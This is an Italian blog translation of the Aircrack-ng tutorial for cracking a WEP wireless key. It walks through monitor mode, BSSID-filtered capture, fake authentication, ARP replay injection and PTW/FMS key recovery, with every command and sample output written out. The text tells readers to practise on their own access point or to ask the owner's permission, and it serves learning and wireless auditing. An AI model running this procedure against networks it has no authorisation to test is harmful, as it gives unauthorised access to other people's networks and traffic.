Tecnica di base per craccare una WEP con Aircrack-NG (Linux)


Continuiamo con la traduzione dei tutorial per imparare ad utilizzare Aircrack-NG. In quello che vi andiamo a presentare viene spiegata la tecnica di base per craccare la chiave di accesso ad una rete WEP.
Buon divertimento e buona navigazione! 😉

 

LINK ORIGINALE

  • Introduzione

Questo tutorial vi conduce tramite un caso molto semplice a craccare una chiave WEP. E’ concepito per farvi acquisire le abilità di base e la familiarità con i concetti. Presuppone che voi abbiate una scheda wireless funzionante con i driver già patchati per l’iniezione.

Per una guida introduttiva comprensiva, consultate Guida all’uso di Aircrack-ng per utenti inesperti ( en / it ). Sebbene questo tutorial non copra tutta la procedura, prova a fornire esempi molto più dettagliati dei passaggi per craccare effettivamente una chiave WEP, oltre a spiegare la ragione ed il retroterra di ognuno di essi. Per informazioni aggiuntive sull’installazione di aircrack-ng, consultate Installing Aircrack-ng, e per installare i driver consultate Installing Drivers.

E’ consigliato fare delle prove con il vostro access point wireless domestico per familiarizzare con queste idee e tecniche. Se non possedete un dato access point, badate a chiedere il permesso al proprietario prima di smanettarci.

Gli autori di questa guida vorrebbero segnalare e ringraziare l’Aircrack-ng team per aver prodotto uno strumento così ben robusto.

Per favore, inviate ogni critica costruttiva, positiva o negativa. Ulteriori idee e consigli riguardo alla risoluzione
dei problemi sono in particolar modo ben accetti.

  • Presupposti


Per cominciare, questa guida presuppone:

– Che stiate utilizzando driver patchati per l’iniezione. Utilizzate il test d’iniezione per confermare la capacità della vostra scheda di iniettare prima di procedere.

– Che siate fisicamente abbastanza vicini per inviare e ricevere i pacchetti dell’access point. Ricordatevi che il solo ricevere pacchetti dall’access point non significa che sarete necessariamente in grado di trasmettere pacchetti all’AP. La potenza della scheda wireless è di solito minore della forza dell’AP. Così dovrete essere fisicamente abbastanza vicini all’AP per permettere ai vostri pacchetti di raggiungerlo ed ed essere ricevuti. Dovreste essere sicuri di poter comunicare con l’AP specifico seguendo queste istruzioni.

– Che ci sia almeno un client (cablato o wireless) connesso alla rete e che sia attivo. Ciò perché questa guida si basa sul fatto che si possa ricevere almeno un pacchetto di richiesta ARP, e se non vi sono
client attivi non ci sarà mai alcun pacchetto di richiesta ARP.

– Che stiate utilizzando la versione 0.9 di aircrack-ng. Se state utilizzando un’altra versione, alcune delle opzioni dei comandi potrebbero dover essere modificate.

Accertatevi che tutte le presupposizioni qui sopra siano rispettate, in caso contrario le istruzioni che seguono saranno vane. Negli esempi sottostanti, dovrete cambiare "ath0" con il nome dell’interfaccia specifico della vostra scheda wireless.

Negli esempi, l’opzione "trattino doppio, bssid" viene mostrata come "- -bssid". Ricordatevi di rimuovere lo spazio tra i due trattini quando la utilizzate sul campo. Ciò vale anche per "- -ivs".

  • Equipaggiamento utilizzato

Ecco ciò che è stato utilizzato in questo tutorial:

– l’indirizzo MAC del PC che esegue la suite aircrack: 00:0F:B5:88:AC:82
– BSSID (indirizzo MAC dell’access point): 00:14:6C:7E:40:80
– ESSID (nome della rete wireless): teddy
– Canale dell’access point: 9
– Interfaccia wireless: ath0

Dovreste raccogliere le specifiche equivalenti per la rete su cui lavorerete. Fatto ciò dovete semplicemente cambiare i valori negli esempi qui sotto in quelli della vostra specifica rete.

  • Tecnica


Panoramica della situazione

Per craccare la chiave WEP di un access point, vi occorre raccogliere parecchi vettori d’inizializzazione (IV). Solitamente, il traffico di rete ordinario non genera questi IV molto velocemente. In teoria e con molta pazienza, potreste raccogliere IV sufficienti per craccare la chiave WEP semplicemente intercettando il traffico di rete e salvandoli. Dato che nessuno di noi è paziente, utilizziamo una tecnica chiamata iniezione per velocizzare il processo. L’iniezione comporta che l’access point (AP) reinvii i pacchetti selezionati più volte e molto rapidamente.Questo ci permette di catturare un gran numero di IV in un breve lasso di tempo.

Una volta che abbiamo catturato un buon numero di IV, possiamo utilizzarli per determinare la chiave WEP.

Ecco i passaggi di base che affronteremo:

1. Avviare l’interfaccia wireless in monitor mode sullo specifico canale dell’AP
2. Utilizzare aireplay-ng per effettuare una falsa autenticazione con l’access point.
3. Avviare airodump-ng sul canale dell’AP con un filtro BSSID per raccogliere i nuovi IV unici.
4. Avviare aireplay-ng in ‘ARP request replay mode’ per iniettare i pacchetti.
5 Eseguire aircrack-ng per craccare la chiave utilizzando gli IV raccolti.

PASSO 1 – AVVIATE L’INTERFACCIA WIRELESS IN MONITOR MODE SUL CANALE DELL’AP

Lo scopo di questo passaggio è di mettere la vostra scheda in quello che viene chiamato monitor mode. Il monitor mode è la modalità in cui la vostra scheda può intercettare ogni pacchetto nell’etere. Normalmente, la vostra scheda "ascolta" solo i pacchetti inviati a voi. Ascoltando invece QUALSIASI pacchetto ( anche quelli non inviati a voi ), possiamo in seguito sceglierne alcuni per l’iniezione. Inoltre (esistono alcune rare eccezioni), solo il monitor mode vi permette di iniettare pacchetti.

Per prima cosa fermate ath0 digitando:
________________________________
airmon-ng stop ath0
________________________________

Il sistema risponde:
_________________________________________________________________
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
_______________________________________________________________________________

Digitate "iwconfig" per assicurarvi che non ci siano altre interfacce athX. Dovrebbe apparire simile a questo:
_____________________________________________________
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
______________________________________________________

Se ci sono altre residue interfacce athX, fermate ciascuna di esse. Quando avete finito, eseguite "iwconfig" per assicurarvi che non ne sia rimasta nessuna. Ora, immettete il seguente comando per avviare la scheda wireless sul canale 9 in monitor mode:
_________________________________
airmon-ng start wifi0 9
_________________________________

Nota: in questo comando utilizziamo "wifi0" invece della nostra interfaccia wireless di "ath0". Questo perché utilizziamo i driver madwifi-ng.
Il sistema risponderà:
_____________________________________________________________
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
______________________________________________________________

Noterete che "ath0" viene qui sopra segnalato essere in monitor mode.
Per confermare l’appropriata configurazione dell’interfaccia, digitate "iwconfig".
Il sistema risponderà:
______________________________________________________________
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
_______________________________________________________________

Nel responso qui sopra, potete notare che ath0 è in monitor mode, sulla frequenza 2.452GHz che è il canale 9 e l’Access Point mostra l’indirizzo MAC della vostra scheda wireless. Prestate attenzione al fatto che solo i driver madwifi-ng mostrano l’indirizzo MAC della vostra scheda wireless, gli altri non lo fanno. Quindi tutto va bene. E’ importante confermare tutte queste informazioni prima di procedere, altrimenti i passaggi successivi non funzioneranno correttamente.

Per rispecchiare la frequenza del canale, controllate http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels , quindi selezionate la targhetta "Wifi Channel Selection and Channel Overlap". Ciò vi darà la frequenza di ogni canale.

PASSO 2 – AVVIATE AIRODUMP-NG PER CATTURARE GLI IV

Lo scopo di questo passaggio è di catturare gli IV generati. Questo passaggio avvia airodump-ng per catturare gli IV dall’access point specifico. Aprite un altro terminale per catturare gli IV generati. Quindi digitate:
___________________________________________
airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output ath0
___________________________________________

Dove:
– -c 9 è il canale della rete wireless
– –bssid 00:14:6C:7E:40:80 è l’indirizzo MAC dell’access point. Questo elimina il traffico estraneo.
– -w .cap è l’estensionedel file che contiene gli IV
– ath0 è il nome dell’interfaccia.

Quando (in seguito) l’iniezione starà avendo luogo, la schermata sarà simile a questa:
______________________________________________
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
______________________________________________

PASSO 3 – UTILIZZATE AIREPLAY-NG PER EFFETTUARE UNA FALSA AUTENTICAZIONE CON L’ACCESS POINT

Perché un access point accetti un pacchetto, l’indirizzo MAC che lo invia deve già essere associato. Se l’indirizzo MAC originario che state iniettando non è associato, l’AP ignora il pacchetto ed invia un pacchetto di "DeAutenticazione". In questo stato, non vengono creati nuovi IV perché l’AP sta ignorando tutti i pacchetti iniettati.

La mancanza di associazione con l’access point è la principale ragione per cui l’iniezione solitamente fallisce. Ricordate la regola d’oro: il MAC che state utilizzando per l’iniezione deve essere associato con l’AP, utilizzando una falsa autenticazione oppure utilizzando un MAC di un client già associato.

Per associarsi ad un access point, utilizzate la falsa autenticazione:
____________________________________________________
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
____________________________________________________

Dove:
– -1 significa falsa autenticazione
– 0 è il tempo di riassociazione in secondi
– -e teddy è il nome della rete wireless
– -a 00:14:6C:7E:40:80 è l’indirizzo MAC dell’access point
– -h 00:0F:B5:88:AC:82 è l’indirizzo MAC della nostra scheda
– ath0 è il nome dell’interfaccia wireless

Un messaggio di successo è simile a:
__________________________________________________
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful 🙂
__________________________________________________

Od un’altra variazione per gli access points schizzinosi:
____________________________________________________
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
____________________________________________________

Dove:
– 6000 Riautenticazione ogni 6000 secondi. Il lungo intervallo fa anche in modo che si continui ad inviare pacchetti senza doversi riassociare
– -o 1 Invia solo un set di pacchetti alla volta. Di default se ne inviano molteplici e questo confonde alcuni AP.
– -q 10 Invia pacchetti di controllo

Un messaggio di successo è simile a:
___________________________________________
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful 🙂
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# e così via.
____________________________________________

Ecco un esempio di come appare un’autenticazione fallita:
____________________________________________
8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful 🙂
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request
18:28:05 Authentication successful
18:28:05 Sending Association Request
18:28:10 Sending Authentication Request
18:28:10 Authentication successful
18:28:10 Sending Association Request
___________________________________________

Notare il "Got a deauthentication packet" ed i continui tentativi qui sopra. Non procedete al passo successivo finché la falsa autenticazione non opera correttamente.

Consigli per la risoluzione dei problemi

– Alcuni access point sono configurati per permettere solo a certi indirizzi MAC di associarsi e connettersi. Se è questa la situazione, non sarete in grado di eseguire con successo una falsa autenticazione a meno che non conosciate uno degli indirizzi MAC della lista di quelli permessi. Se sospettate che sia questo il problema, utilizzate il seguente comando mentre provate ad avviare una falsa autenticazione. Avviate un’altra sessione e…

Eseguite: tcpdump -n -vvv -s0 -e -i <nome dell’interfaccia> | grep -i -E ?(RA:< Indirizzo MAC della vostra scheda>|Authentication|ssoc)?

Controllate quindi se appaiono messaggi d’errore.

– Se in qualunque momento voleste accertarvi di essere correttamente associati, utilizzate tcpdump ed osservate i pacchetti. Avviate un’altra sessione e…

Eseguite: "tcpdump -n -e -s0 -vvv -i ath0"

Ecco il tipico messaggio d’errore di tcpdump che cercate:
_________________________________________________________
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
_________________________________________________________

Notate che l’access point (00:14:6c:7e:40:80) sta dicendo alla fonte (00:0F:B5:88:AC:82) che voi non siete associati. Il che vuol dire che l’AP non processerà od accetterà i pacchetti iniettati.

Se volete selezionare solo i pacchetti DeAuth con tcpdump allora potete usare: ?tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth?. Potreste aver bisogno di modificare leggermente la parola "DeAuth" per isolare i pacchetti che desiderate.

PASSO 4 – AVVIATE AIREPLAY-NG IN ‘ARP REQUEST REPLAY MODE’

Lo scopo di questo passaggio è di avviare aireplay-ng in una modalità che intercetti le richieste di ARP e poi le reinietti nella rete. Per una spiegazione dell’ARP, consultate questa pagina di pc magazine o wikipedia. La ragione per cui scegliamo pacchetti di richiesta ARP è perché normalmente l’AP le ritrasmetterà e genererà un nuovo IV. Ancora una volta, il nostro obiettivo è di ottenere un ampio numero di IV in un breve lasso di tempo.

Aprite un altro terminale ed inserite:
___________________________________________
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
___________________________________________

Aireplay-ng inizierà ad intercettare richieste ARP e quando ne individuerà una inizierà immediatamente ad iniettarla. Ecco un modo facile di generare una richiesta ARP sulla vostra rete domestica: su un PC cablato, pingate un IP inesistente sulla vostra LAN domestica.

Ecco come appare la schermata quando stanno venendo iniettate richieste ARP:
________________________________________
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets…
________________________________________

Potete accertarvi di stare iniettando controllando lo schermo di airodump-ng. I pacchetti di dati dovrebbero essere in rapido aumento. "#/s" dovrebbe essere un numero sufficiente. Tuttavia, la sufficienza dipende da un’ampia gamma di fattori. Un intervallo comune va da 300 a 400 pacchetti di dati al secondo. Può abbassarsi a 100 al secondo come schizzare a 1000 al secondo.

Consigli per la risoluzione dei problemi

 Se ricevete un messaggio del tipo
“Got a deauth/disassoc packet. Is the source mac associated?” vuol dire che avete perso l’associazione con l’AP. Tutti i vostri pacchetti iniettati verranno ignorati. Dovete rieffettuare la falsa autenticazione (Passo
3) ed associarvi con successo all’AP.


PASSO 5 – ESEGUITE AIRCRACK-NG PER OTTENERE LA CHIAVE WEP

Lo scopo di questo passaggio è di ottenere la chiave WEP dagli IV raccolti nei passaggi precedenti.

Nota: ai fini dell’apprendimento, dovreste usare una chiave WEP di 64 bit sul vostro AP per velocizzare il processo di craccaggio. Se è questo il caso, allora potete includere "-n 64" per limitare il controllo delle chiavi a 64 bit.

Verranno illustrati due metodi. Si raccomanda di provarli entrambi ai fini dell’apprendimento. Provando entrambi i metodi, osserverete subito come il metodo PTW cracchi con successo e più velocemente la chiave WEP in comparazione con il metodo FMS/Korek che è invece più lento e richiede un maggior numero di pacchetti catturati. Come avvertenza, il metodo PTW funziona con successo solo in presenza di pacchetti di arp request/reply. Dato che questo tutorial copre l’iniezione di pacchetti arp request, potete effettivamente utilizzare questo metodo. L’altro requisito è che voi catturiate l’intero pacchetto con airodump-ng. Vale a dire, non usate l’opzione "–ivs".

Aprite un altro terminale ed inserite:
___________________________________________
aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
___________________________________________

Dove:

– -z richiama il metodo di craccaggio WEP "PTW".
– -b 00:14:6C:7E:40:80 sceglie l’unico access point che ci interessa. Questo è opzionale, dato che quando abbiamo inizialmente catturato i dati abbiamo applicato un filtro per farlo solo da questo AP.
– output*.cap sceglie tutti i file che iniziano con "output" e terminano in ".cap".

Potete eseguirlo mentre vengono generati i pacchetti. In breve tempo, la chiave WEP verrà calcolata e presentata. Utilizzando il metodo PTW, le chiavi WEP a 40 bit possono essere craccate con soli 20000 pacchetti dati e le WEP a 104 bit con 40000 pacchetti dati. Sono valori molto approssimati e ci sono molte variabili [che determinano] gli IV che effettivamente vi servono per craccare la chiave WEP.

Ecco come si presenta un messaggio di successo:
__________________________________________________
Aircrack-ng 0.9
[00:01:18] Tested 0/140000 keys (got 30680 IVs)
KB depth byte(vote)
0 0/ 1 12( 170) 35( 152) AA( 146) 17( 145) 86( 143) F0( 143) AE( 142) C5( 142) D4( 142) 50( 140)
1 0/ 1 34( 163) BB( 160) CF( 147) 59( 146) 39( 143) 47( 142) 42( 139) 3D( 137) 7F( 137) 18( 136)
2 0/ 1 56( 162) E9( 147) 1E( 146) 32( 146) 6E( 145) 79( 143) E7( 142) EB( 142) 75( 141) 31( 140)
3 0/ 1 78( 158) 13( 156) 01( 152) 5F( 151) 28( 149) 59( 145) FC( 145) 7E( 143) 76( 142) 92( 142)
4 0/ 1 90( 183) 8B( 156) D7( 148) E0( 146) 18( 145) 33( 145) 96( 144) 2B( 143) 88( 143) 41( 141)
KEY FOUND! [ 12:34:56:78:90 ]
Decrypted correctly: 100%
_____________________________________________________

Per usare anche il metodo FMS/Korek, avviate un altro terminale e digitate

____________________________________________
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
____________________________________________

Dove:

– -b 00:14:6C:7E:40:80 sceglie l’unico access point che ci interessa. Questo è opzionale, dato che quando abbiamo inizialmente catturato i dati abbiamo applicato un filtro per farlo solo da questo AP.
– output*.cap sceglie tutti i file che iniziano con "output" e terminano in ".cap".

Potete eseguirlo mentre vengono catturati i pacchetti. In breve tempo, la chiave WEP verrà calcolata e presentata. Vi occorreranno circa 250000 IV per le chiavi 64 bit ed 1500000 IV per quelle a 128 bit. Sono valori molto approssimati e ci sono molte variabili che determino il numero di IV che effettivamente vi servono per craccare la chiave WEP.

Ecco come si presenta un messaggio di successo:
_________________________________________________
Aircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15)
KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%
_____________________________________________

Notate che in questo caso ci sono voluti molti meno IV per craccare la chiave dei 250000 stimati.

  • RISOLUZIONE GENERALE DEI PROBLEMI

– Assicuratevi di leggere tutta la documentazione sul Wiki riguardo ai vari comandi utilizzati in questo tutorial.
– Consultate il tutorial: i am injecting but the IVs don’t increase.

  1. #1 di piero il Novembre 3, 2008 - 11:28 pm

    ottimo, davvero buona.. faccio riferimento anche a questa:
    http://www.secretwireless.altervista.org

(non verrà pubblicata)